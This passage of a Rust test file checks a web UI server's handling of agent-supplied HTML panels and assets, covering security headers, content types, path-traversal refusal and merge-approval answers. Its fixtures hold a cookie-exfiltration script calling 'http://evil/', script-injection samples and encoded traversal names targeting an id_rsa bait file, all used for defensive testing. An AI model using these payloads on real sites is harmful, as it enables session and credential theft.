12083 ) -> Res {
12084 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12085 for (name, value) in headers {
12086 head.push_str(&format!("{name}: {value}\r\n"));
12087 }
12088 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12089 let mut socket = tokio::net::TcpStream::connect(addr)
12090 .await
12091 .expect("connect to the test server");
12092 socket
12093 .write_all(head.as_bytes())
12094 .await
12095 .expect("write request head");
12096 socket.write_all(body).await.expect("write request body");
12097 let mut raw = Vec::new();
12098 socket.read_to_end(&mut raw).await.expect("read response");
12099 let split = raw
12100 .windows(4)
12101 .position(|w| w == b"\r\n\r\n")
12102 .expect("a header block");
12103 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12104 let bytes = raw[split + 4..].to_vec();
12105 let status = head
12106 .lines()
12107 .next()
12108 .and_then(|line| line.split_whitespace().nth(1))
12109 .and_then(|code| code.parse().ok())
12110 .expect("a status line");
12111 Res {
12112 status,
12113 headers: head.to_lowercase(),
12114 head,
12115 body: String::from_utf8_lossy(&bytes).into_owned(),
12116 bytes,
12117 }
12118 }
12119
12120 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12122 let mut state = RunState::new(
12123 PathBuf::from("/repo/magi"),
12124 "main".to_owned(),
12125 "0123456789abcdef".to_owned(),
12126 "Add a web UI\n\nMobile first.".to_owned(),
12127 Config::default(),
12128 );
12129 state.id = id.to_owned();
12130 state.status = status;
12131 let dir = runs.join(id);
12132 std::fs::create_dir_all(&dir).expect("run dir");
12133 std::fs::write(
12134 dir.join("run.json"),
12135 serde_json::to_string_pretty(&state).expect("serialize run"),
12136 )
12137 .expect("write run.json");
12138 }
12139
12140 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12144 let mut state = RunState::new(
12145 PathBuf::from(repo),
12146 "main".to_owned(),
12147 "0123456789abcdef".to_owned(),
12148 "task".to_owned(),
12149 Config::default(),
12150 );
12151 state.id = id.to_owned();
12152 state.status = status;
12153 let dir = runs.join(id);
12154 std::fs::create_dir_all(&dir).expect("run dir");
12155 std::fs::write(
12156 dir.join("run.json"),
12157 serde_json::to_string_pretty(&state).expect("serialize run"),
12158 )
12159 .expect("write run.json");
12160 }
12161
12162 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12163 let body = serde_json::json!({
12164 "schema": 1,
12165 "pid": 4242,
12166 "started_at": Timestamp::now().to_string(),
12167 "updated_at": updated_at.to_string(),
12168 "idle": false,
12169 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12170 "completed": 7,
12171 "polls": 143,
12172 });
12173 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12174 }
12175
12176 fn launch_idle(
12186 _opts: daemon::Opts,
12187 stop: daemon::Stop,
12188 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12189 Box::pin(async move {
12190 while !stop.stopped() {
12191 tokio::time::sleep(Duration::from_millis(2)).await;
12192 }
12193 Ok(())
12194 })
12195 }
12196
12197 fn launch_broken(
12200 _opts: daemon::Opts,
12201 _stop: daemon::Stop,
12202 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12203 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12208 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12209 Box::pin(async move {
12210 Err(anyhow::anyhow!(if first {
12211 "publish the daemon status file: read-only file system"
12212 } else {
12213 "the restarted stand-in failed as well"
12214 }))
12215 })
12216 }
12217
12218 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12227 for _ in 0..SETTLE_STEPS {
12228 let view = fx.get("/api/loop").await.json();
12229 if want(&view) {
12230 return view;
12231 }
12232 tokio::time::sleep(Duration::from_millis(10)).await;
12233 }
12234 panic!(
12235 "the loop never settled: {}",
12236 fx.get("/api/loop").await.json()
12237 );
12238 }
12239
12240 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12242 let store = fx.questions();
12243 let mut q = Question::new(
12244 "20260902-000000-beef".to_owned(),
12245 "implement".to_owned(),
12246 "impl-A".to_owned(),
12247 summary.to_owned(),
12248 "because it matters".to_owned(),
12249 choices.iter().map(|c| (*c).to_owned()).collect(),
12250 );
12251 store.put(&mut q).expect("put question");
12252 q.id
12253 }
12254
12255 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12261 let store = fx.questions();
12262 let mut q = Question::new(
12263 "20260902-000000-beef".to_owned(),
12264 "land".to_owned(),
12265 "fix".to_owned(),
12266 "Merge this?".to_owned(),
12267 "the diff is in the panel".to_owned(),
12268 vec!["merge".to_owned(), "hold".to_owned()],
12269 );
12270 let staging = fx.home.path().join("staging");
12273 std::fs::create_dir_all(&staging).expect("staging dir");
12274 let sources: Vec<PathBuf> = assets
12275 .iter()
12276 .map(|(name, bytes)| {
12277 let path = staging.join(name);
12278 std::fs::write(&path, bytes).expect("write staged asset");
12279 path
12280 })
12281 .collect();
12282 store
12283 .put_panel(&mut q, html, &sources)
12284 .expect("write the panel");
12285 store.put(&mut q).expect("put question");
12286 q.id
12287 }
12288
12289 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12298 seed_talk_at(&fx.talks(), id, status)
12299 }
12300
12301 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12302 std::fs::create_dir_all(store.root()).expect("talks dir");
12303 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12304 .expect("serialize a seat");
12305 let body = serde_json::json!({
12306 "schema": 1,
12307 "id": id,
12308 "repo": "/repo/magi",
12309 "agent": "mock",
12310 "status": status,
12311 "turns": [],
12312 "created_at": Timestamp::now().to_string(),
12313 "updated_at": Timestamp::now().to_string(),
12314 "seat": seat,
12315 });
12316 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12317 store.get(id).expect("the seeded talk has to be readable");
12318 id.to_owned()
12319 }
12320
12321 #[tokio::test]
12322 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12323 let fx = Fixture::start().await;
12324 let id = panel(
12325 &fx,
12326 "<h1>Merge?</h1><img src=\"diff.svg\">",
12327 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12328 );
12329
12330 for path in [
12331 format!("/api/questions/{id}/panel"),
12332 format!("/api/questions/{id}/asset/diff.svg"),
12333 ] {
12334 let res = fx.get(&path).await;
12335 assert_eq!(res.status, 200, "{path}: {}", res.body);
12336 assert_eq!(
12342 res.header("content-security-policy"),
12343 Some(
12344 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12345 font-src data:; base-uri 'none'; form-action 'none'; \
12346 frame-ancestors 'self'"
12347 ),
12348 "{path} is the only thing between a hostile panel and the tailnet"
12349 );
12350 assert_eq!(
12351 res.header("x-content-type-options"),
12352 Some("nosniff"),
12353 "{path}: a browser must not re-decide the type we sent"
12354 );
12355 assert_eq!(
12356 res.header("referrer-policy"),
12357 Some("no-referrer"),
12358 "{path}: a panel must not leak the question id off the machine"
12359 );
12360
12361 let pre = fx.head(&path).await;
12366 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12367 assert_eq!(
12368 pre.header("content-security-policy"),
12369 res.header("content-security-policy"),
12370 "{path}: the preflight carries the same policy"
12371 );
12372 assert_eq!(
12373 pre.header("content-type"),
12374 res.header("content-type"),
12375 "{path}: the preflight carries the same type"
12376 );
12377 }
12378 }
12379
12380 #[tokio::test]
12381 async fn a_panel_reaches_the_browser_byte_for_byte() {
12382 let fx = Fixture::start().await;
12383 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
12388 let id = panel(&fx, html, &[]);
12389
12390 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12391
12392 assert_eq!(res.status, 200);
12393 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12394 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12395 assert_eq!(
12396 res.header("content-disposition"),
12397 None,
12398 "the panel itself is rendered in the frame, not downloaded"
12399 );
12400 }
12401
12402 #[tokio::test]
12403 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12404 let fx = Fixture::start().await;
12405 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12406 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12407 let id = panel(
12408 &fx,
12409 "<img src=\"diff.svg\"><img src=\"shot.png\">",
12410 &[("diff.svg", svg), ("shot.png", png)],
12411 );
12412
12413 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12414 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12415
12416 assert_eq!(as_svg.status, 200);
12417 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12418 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12423
12424 assert_eq!(as_png.status, 200);
12425 assert_eq!(as_png.header("content-type"), Some("image/png"));
12426 assert_eq!(
12427 as_png.header("content-disposition"),
12428 None,
12429 "a raster image has no execution surface, so tapping it still shows it"
12430 );
12431 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12432 }
12433
12434 #[tokio::test]
12435 async fn an_html_asset_is_never_served_as_html() {
12436 let fx = Fixture::start().await;
12437 let id = panel(
12438 &fx,
12439 "<p>see the notes</p>",
12440 &[
12441 (
12442 "notes.html",
12443 b"<script>fetch('http://evil/'+document.cookie)</script>",
12444 ),
12445 ("hook.js", b"fetch('http://evil/')"),
12446 ("data.json", b"{}"),
12447 ("HEADLINE.TXT", b"plain"),
12448 ],
12449 );
12450
12451 for name in ["notes.html", "hook.js", "data.json"] {
12452 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12453 assert_eq!(res.status, 200, "{name}: {}", res.body);
12454 assert_eq!(
12459 res.header("content-type"),
12460 Some("application/octet-stream"),
12461 "{name} must not be a type the browser will execute or render"
12462 );
12463 }
12464 let txt = fx
12467 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12468 .await;
12469 assert_eq!(
12470 txt.header("content-type"),
12471 Some("text/plain; charset=utf-8")
12472 );
12473 }
12474
12475 #[tokio::test]
12476 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12477 let fx = Fixture::start().await;
12478 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12479 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12483
12484 for encoded in [
12491 "%2e%2e%2fid_rsa",
12492 "..%2fid_rsa",
12493 "..%5cid_rsa",
12494 "%2e%2e%5cid_rsa",
12495 "diff%00.svg",
12496 "..",
12497 ".hidden",
12498 "%2e%2e%2f%2e%2e%2fid_rsa",
12499 ] {
12500 let res = fx
12501 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12502 .await;
12503 assert_eq!(
12504 res.status, 400,
12505 "`{encoded}` has to be refused by name, not looked up: {}",
12506 res.body
12507 );
12508 assert!(res.json()["error"].is_string(), "{}", res.body);
12509 }
12510
12511 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12517 let res = fx
12518 .get(&format!("/api/questions/{id}/asset/{literal}"))
12519 .await;
12520 assert_eq!(
12521 res.status, 404,
12522 "`{literal}` must not match the asset route at all: {}",
12523 res.body
12524 );
12525 }
12526 }
12527
12528 #[tokio::test]
12529 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12530 let fx = Fixture::start().await;
12531 let plain = ask(&fx, "Which backend?", &["SQLite"]);
12532 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12533
12534 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12538 assert_eq!(none.status, 404, "{}", none.body);
12539 assert!(none.json()["error"].is_string(), "{}", none.body);
12540 assert_eq!(
12541 fx.head(&format!("/api/questions/{plain}/panel"))
12542 .await
12543 .status,
12544 404,
12545 "the preflight is the only way the client can learn this"
12546 );
12547
12548 let missing = fx
12550 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12551 .await;
12552 assert_eq!(missing.status, 404, "{}", missing.body);
12553 assert!(missing.json()["error"].is_string(), "{}", missing.body);
12554
12555 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12557 assert_eq!(
12558 fx.get("/api/questions/nope/asset/diff.svg").await.status,
12559 404
12560 );
12561 }
12562
12563 #[tokio::test]
12564 async fn a_run_with_an_open_question_reads_as_waiting() {
12565 let fx = Fixture::start().await;
12566 let run = "20260902-000000-beef".to_owned();
12567 write_run(&fx.runs(), &run, RunStatus::Implementing);
12568
12569 let before = fx.get("/api/runs").await.json();
12570 assert_eq!(before[0]["waiting"], false, "{before}");
12571
12572 let store = fx.questions();
12573 let mut q = Question::new(
12574 run.clone(),
12575 "implement".to_owned(),
12576 "impl-A".to_owned(),
12577 "Which backend?".to_owned(),
12578 String::new(),
12579 vec!["SQLite".to_owned()],
12580 );
12581 store.put(&mut q).expect("put");
12582
12583 let during = fx.get("/api/runs").await.json();
12584 assert_eq!(during[0]["waiting"], true, "{during}");
12585
12586 q.answer(Answer::Choice("SQLite".to_owned()))
12589 .expect("answer");
12590 store.put(&mut q).expect("put");
12591 let after = fx.get("/api/runs").await.json();
12592 assert_eq!(after[0]["waiting"], false, "{after}");
12593 }
12594
12595 #[tokio::test]
12596 async fn an_open_question_is_listed_and_counted_by_health() {
12597 let fx = Fixture::start().await;
12598 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12599
12600 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12601 let listed = fx.get("/api/questions").await.json();
12602 assert_eq!(listed.as_array().expect("array").len(), 1);
12603 assert_eq!(listed[0]["id"], id);
12604 assert_eq!(listed[0]["status"], "open");
12605 assert_eq!(listed[0]["choices"][1], "Redis");
12606 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12609 }
12610
12611 fn obsolete_approval_state() -> RunState {
12612 let mut state = crate::land::tests::repair_state(true, true);
12613 state.pr = Some(crate::run::PrRecord {
12614 url: "https://github.com/example/repo/pull/42".into(),
12615 number: 42,
12616 state: "open".into(),
12617 checks: "green".into(),
12618 round: 1,
12619 rounds: 4,
12620 red_at_merge: Vec::new(),
12621 });
12622 state
12623 }
12624
12625 #[tokio::test]
12626 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12627 for owner in ["missing", "current", "completed", "later"] {
12628 let fx = Fixture {
12629 home: TempDir::new().unwrap(),
12630 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12631 };
12632 let mut state = obsolete_approval_state();
12633 state.status = RunStatus::Landing;
12634 state.parked = true;
12635 state.driver_exited = true;
12636 let mut q = Question::new(
12637 state.id.clone(),
12638 crate::land::APPROVAL_NODE.into(),
12639 "land".into(),
12640 "Old approval".into(),
12641 "Original evidence".into(),
12642 vec!["merge".into(), "hold".into()],
12643 );
12644 state.land_approval = Some(crate::run::LandApproval {
12645 question: q.id.clone(),
12646 head: "head".into(),
12647 });
12648 state.save_under(fx.home.path()).unwrap();
12649 let stale = state.clone();
12650 fx.questions().put(&mut q).unwrap();
12651 let mut task = Task::new(
12652 "Owner".into(),
12653 "Original instruction".into(),
12654 state.repo.clone(),
12655 Source::Human,
12656 );
12657 task.runs.push(state.id.clone());
12658 task.status = if owner == "completed" {
12659 TaskStatus::Done
12660 } else {
12661 TaskStatus::Parked
12662 };
12663 if owner == "later" {
12664 task.runs.push("later-run".into());
12665 }
12666 if owner != "missing" {
12667 fx.queue().put(&mut task).unwrap();
12668 }
12669 let ui = Arc::new(Ui::new(
12670 fx.queue(),
12671 fx.questions(),
12672 fx.talks(),
12673 fx.runs(),
12674 fx.home.path().into(),
12675 state.repo.clone(),
12676 ));
12677 let response = question_answer(
12678 State(ui),
12679 Path(q.id.clone()),
12680 Ok(Json(NewAnswer {
12681 choice: Some(crate::merge_decision::DISMISS.into()),
12682 text: None,
12683 ..Default::default()
12684 })),
12685 )
12686 .await
12687 .unwrap();
12688 assert_eq!(
12689 response.0.question.resolution().as_deref(),
12690 Some(crate::merge_decision::DISMISS)
12691 );
12692 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12693 assert_eq!(disk.status, RunStatus::Superseded);
12694 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12695 assert!(!crate::merge_decision::resumable_hold(&disk));
12696 assert_eq!(
12697 serde_json::to_value(&disk.pr).unwrap(),
12698 serde_json::to_value(&stale.pr).unwrap()
12699 );
12700 assert_eq!(fx.questions().count_open(), 0);
12701 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12702 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12703 if owner == "missing" {
12704 assert!(fx.queue().list().is_empty());
12705 } else {
12706 let after = fx.queue().get(&task.id).unwrap();
12707 assert_eq!(
12708 after.status,
12709 if owner == "current" {
12710 TaskStatus::Done
12711 } else {
12712 task.status
12713 }
12714 );
12715 assert_eq!(after.runs, task.runs);
12716 assert_eq!(after.instruction, task.instruction);
12717 assert_eq!(after.action_applied(&q.id), owner == "current");
12718 }
12719 }
12720 }
12721
12722 #[tokio::test]
12723 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12724 let fx = Fixture::start().await;
12725 let mut state = obsolete_approval_state();
12726 state.status = RunStatus::Landing;
12727 state.parked = true;
12728 state.driver_exited = true;
12729 let mut q = Question::new(
12730 state.id.clone(),
12731 crate::land::APPROVAL_NODE.into(),
12732 "land".into(),
12733 "Superseded PR approval".into(),
12734 "Original review evidence".into(),
12735 vec!["merge".into(), "hold".into()],
12736 );
12737 state.land_approval = Some(crate::run::LandApproval {
12738 question: q.id.clone(),
12739 head: "old-reviewed-head".into(),
12740 });
12741 state.save_under(fx.home.path()).unwrap();
12744 let stale_driver = state.clone();
12745 fx.questions().put(&mut q).unwrap();
12746 let path = fx
12747 .home
12748 .path()
12749 .join("questions")
12750 .join(format!("{}.json", q.id));
12751 let mut legacy = serde_json::to_value(&q).unwrap();
12752 legacy["schema"] = 9.into();
12753 legacy.as_object_mut().unwrap().remove("merge_target");
12754 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12755
12756 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12759 let answer_path = format!("/api/questions/{}/answer", q.id);
12760 let res = fx.post(&answer_path, Some(&body)).await;
12761 assert_eq!(res.status, 200, "{}", res.body);
12762 let disk = fx.questions().get(&q.id).unwrap();
12763 assert_eq!(
12764 disk.resolution().as_deref(),
12765 Some(crate::merge_decision::DISMISS)
12766 );
12767 assert!(disk.detail.starts_with("Original review evidence"));
12768 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12769 assert_eq!(retired.status, RunStatus::Superseded);
12770 assert_eq!(
12771 serde_json::to_value(&retired.pr).unwrap(),
12772 serde_json::to_value(&state.pr).unwrap()
12773 );
12774 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12775 assert!(!crate::merge_decision::resumable_hold(&retired));
12776 assert!(fx.queue().list().is_empty());
12777 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12778 let addr = Fixture::serve(
12780 fx.home.path(),
12781 PathBuf::from("/repo/magi"),
12782 launch_idle,
12783 None,
12784 )
12785 .await;
12786 let reconnected = Fixture {
12787 home: fx.home,
12788 addr,
12789 };
12790 let listed = reconnected.get("/api/questions").await.json();
12791 assert!(
12792 listed
12793 .as_array()
12794 .unwrap()
12795 .iter()
12796 .all(|q| q["status"] != "open")
12797 );
12798 assert_eq!(listed[0]["id"], q.id, "history remains available");
12799 assert_eq!(
12800 reconnected.get("/api/health").await.json()["questions_open"],
12801 0
12802 );
12803 assert_eq!(
12804 reconnected
12805 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12806 .await
12807 .status,
12808 409
12809 );
12810 assert!(
12812 reconnected
12813 .questions()
12814 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12815 .is_err()
12816 );
12817 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12820 }
12821
12822 #[tokio::test]
12823 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12824 let fx = Fixture::start().await;
12825 let mut state = obsolete_approval_state();
12826 state.status = RunStatus::Landing;
12827 state.driver_exited = true;
12828 let mut q = Question::new(
12829 state.id.clone(),
12830 crate::land::APPROVAL_NODE.into(),
12831 "land".into(),
12832 "Obsolete approval".into(),
12833 String::new(),
12834 vec!["merge".into(), "hold".into()],
12835 );
12836 state.land_approval = Some(crate::run::LandApproval {
12837 question: q.id.clone(),
12838 head: "head".into(),
12839 });
12840 state.save_under(fx.home.path()).unwrap();
12841 fx.questions().put(&mut q).unwrap();
12842 let mut task = Task::new(
12843 "Owner".into(),
12844 "Original instruction".into(),
12845 state.repo.clone(),
12846 Source::Human,
12847 );
12848 task.runs = vec![state.id.clone(), "later-run".into()];
12849 fx.queue().put(&mut task).unwrap();
12850 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12851 let claim = fx.queue().claim(&task.id).unwrap();
12852 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12853 let path = format!("/api/questions/{}/answer", q.id);
12854 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12855 assert!(fx.questions().get(&q.id).unwrap().status.open());
12856 drop(claim);
12857 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12858 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12859 assert!(fx.questions().get(&q.id).unwrap().status.open());
12860 drop(publication);
12861 state.driver_exited = false;
12863 state.driver_pid = None;
12864 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12866 assert_eq!(
12867 state.liveness_under(fx.home.path(), false),
12868 crate::run::Liveness::Unknown
12869 );
12870
12871 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12872 state.driver_exited = true;
12873 state.land_armed_head = Some("head".into());
12874 state.save_under(fx.home.path()).unwrap();
12875 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12876 state.land_armed_head = None;
12877 state.save_under(fx.home.path()).unwrap();
12878 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12879 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12880 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12881 }
12882
12883 #[tokio::test]
12884 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12885 let fx = Fixture::start().await;
12886 let mut state = obsolete_approval_state();
12887 state.status = RunStatus::Landing;
12888 state.driver_exited = true;
12889 let mut q = Question::new(
12890 state.id.clone(),
12891 crate::land::APPROVAL_NODE.into(),
12892 "land".into(),
12893 "Obsolete approval".into(),
12894 String::new(),
12895 vec!["merge".into(), "hold".into()],
12896 );
12897 state.land_approval = Some(crate::run::LandApproval {
12898 question: q.id.clone(),
12899 head: "head".into(),
12900 });
12901 state.save_under(fx.home.path()).unwrap();
12902 fx.questions().put(&mut q).unwrap();
12903 let mut task = Task::new(
12904 "Owner".into(),
12905 "Original instruction".into(),
12906 state.repo.clone(),
12907 Source::Human,
12908 );
12909 task.runs.push(state.id.clone());
12910 task.status = TaskStatus::Parked;
12911 fx.queue().put(&mut task).unwrap();
12912 state.merge_decision = Some(crate::merge_decision::Decision {
12915 question: q.id.clone(),
12916 target: crate::merge_decision::Target {
12917 pr: state.pr.as_ref().unwrap().url.clone(),
12918 head: "head".into(),
12919 language: "ja".into(),
12920 },
12921 choice: crate::merge_decision::DISMISS.into(),
12922 closed: false,
12923 replacement_run: None,
12924 replacement_pr: None,
12925 });
12926 state.status = RunStatus::Superseded;
12927 state.save_under(fx.home.path()).unwrap();
12928 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12929 let path = format!("/api/questions/{}/answer", q.id);
12930 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12931 let done = fx.queue().get(&task.id).unwrap();
12932 assert_eq!(done.status, TaskStatus::Done);
12933 assert_eq!(done.runs, task.runs);
12934 assert_eq!(done.instruction, task.instruction);
12935 assert!(done.action_applied(&q.id));
12936 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12937 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12938 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12939 }
12940
12941 #[tokio::test]
12942 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12943 let home = TempDir::new().unwrap();
12944 let ui = Arc::new(Ui::new(
12945 Queue::at(home.path().join("queue")),
12946 Questions::at(home.path().join("questions")),
12947 Talks::at(home.path().join("talks")),
12948 home.path().join("runs"),
12949 home.path().to_owned(),
12950 home.path().to_owned(),
12951 ));
12952 let talks = &ui.talks;
12953 let chat =
12954 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12955 let mut q = Question::new(
12956 "run".into(),
12957 crate::land::APPROVAL_NODE.into(),
12958 "land".into(),
12959 "Merge?".into(),
12960 String::new(),
12961 vec!["merge".into(), "hold".into()],
12962 );
12963 q.routed_task = Some("task".into());
12964 q.routed_chat = Some(chat.id.clone());
12965 q.merge_target = Some(crate::merge_decision::Target {
12966 pr: "https://example.test/pull/1".into(),
12967 head: "head-a".into(),
12968 language: "en".into(),
12969 });
12970 ui.questions.put(&mut q).unwrap();
12971 let send = |body| {
12972 question_answer(
12973 State(ui.clone()),
12974 Path(q.id.clone()),
12975 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12976 )
12977 };
12978 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12979 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12980 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12981 assert!(send(wrong_chat).await.is_err());
12982 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12983 assert!(send(stale).await.is_err());
12984 assert!(ui.questions.get(&q.id).unwrap().status.open());
12985 assert!(send(button.clone()).await.is_ok());
12986 assert_eq!(
12987 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12988 Some("merge")
12989 );
12990 assert!(send(button).await.is_err());
12991 }
12992
12993 #[tokio::test]
12994 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12995 let home = TempDir::new().unwrap();
12996 let ui = Arc::new(Ui::new(
12997 Queue::at(home.path().join("queue")),
12998 Questions::at(home.path().join("questions")),
12999 Talks::at(home.path().join("talks")),
13000 home.path().join("runs"),
13001 home.path().to_owned(),
13002 home.path().to_owned(),
13003 ));
13004 for choice in [crate::land::APPROVE, crate::land::HOLD] {
13005 let mut q = Question::new(
13006 "run".into(),
13007 crate::land::APPROVAL_NODE.into(),
13008 "land".into(),
13009 "Merge?".into(),
13010 String::new(),
13011 vec!["merge".into(), choice.into()],
13012 );
13013 q.routed_task = Some("task".into());
13014 q.merge_target = Some(crate::merge_decision::Target {
13015 pr: "https://example.test/pull/1".into(),
13016 head: "head-a".into(),
13017 language: "en".into(),
13018 });
13019 ui.questions.put(&mut q).unwrap();
13020 let answer = |c: &str| {
13021 question_answer(
13022 State(ui.clone()),
13023 Path(q.id.clone()),
13024 Ok(Json(
13025 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13026 .unwrap(),
13027 )),
13028 )
13029 };
13030 let _ = answer(choice).await.unwrap();
13031 assert_eq!(
13032 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13033 Some(choice)
13034 );
13035 }
13036 }
13037
13038 #[tokio::test]
13039 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13040 let home = TempDir::new().unwrap();
13041 let ui = Arc::new(Ui::new(
13042 Queue::at(home.path().join("queue")),
13043 Questions::at(home.path().join("questions")),
13044 Talks::at(home.path().join("talks")),
13045 home.path().join("runs"),
13046 home.path().to_owned(),
13047 home.path().to_owned(),
13048 ));
13049 let mut q = Question::new(
13050 "run".into(),
13051 crate::github_text::ASK_NODE.into(),
13052 "posting-gate".into(),
13053 "Post?".into(),
13054 String::new(),
13055 vec!["use fallback".into()],
13056 );
13057 q.routed_task = Some("task".into());
13058 ui.questions.put(&mut q).unwrap();
13059 let sent = question_answer(
13060 State(ui.clone()),
13061 Path(q.id.clone()),
13062 Ok(Json(
13063 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13064 .unwrap(),
13065 )),
13066 )
13067 .await;
13068 let _ = sent.unwrap();
13069 assert_eq!(
13070 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13071 Some("use fallback")
13072 );
13073 }
13074
13075 #[tokio::test]
13076 async fn merge_decision_api_persists_exact_target_and_selected_action() {
13077 let fx = Fixture {
13078 home: TempDir::new().unwrap(),
13079 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13080 };
13081 for choice in [
13082 crate::land::HOLD,
13083 crate::land::REPAIR,
13084 crate::land::APPROVE,
13085 crate::merge_decision::WITHDRAW,
13086 "reimplement:beta",
13087 ] {
13088 let mut q = Question::new(
13089 "old-run".into(),
13090 crate::land::APPROVAL_NODE.into(),
13091 "land".into(),
13092 "Decision".into(),
13093 "Review findings".into(),
13094 vec![
13095 "merge".into(),
13096 "hold".into(),
13097 crate::land::REPAIR.into(),
13098 crate::merge_decision::WITHDRAW.into(),
13099 "reimplement:beta".into(),
13100 ],
13101 );
